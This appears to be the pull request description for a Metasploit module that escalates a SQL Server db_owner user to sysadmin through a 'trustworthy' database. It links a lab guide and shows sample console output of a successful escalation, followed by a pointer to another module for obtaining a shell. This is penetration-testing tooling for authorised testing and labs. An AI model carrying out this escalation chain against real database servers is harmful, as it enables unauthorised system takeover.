Added mssql_escalate_dbowner module

 This is a module for SQL Server that can be used to escalate privileges to sysadmin if the user has the db_owner role in a "trustworthy" database owned by a sysadmin user.  Once the user has the sysadmin role the msssql_payload module can be used to obtain a shell on the system.

Lab setup guide:
https://raw.githubusercontent.com/nullbind/Metasploit-Modules/master/mssql_escalate_dbowner_lab_guide.txt

<pre>
Example of output:
[*] Attempting to connect to the database server at 192.168.1.5 as MyAppUser...
[+] Connected.
[*] Checking if MyAppUser has the sysadmin role...
[*] You're NOT a sysadmin, let's try to change that.
[*] Checking for trusted databases owned by sysadmins...
[+] 1 affected database(s) were found:
[*]  - MyAppDb
[*] Checking if the user has the db_owner role in any of them...
[+] - db_owner on MyAppDb found!
[*] Attempting to escalate in MyAppDb...
[+] Congrats, MyAppUser is now a sysadmin!.
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
</pre>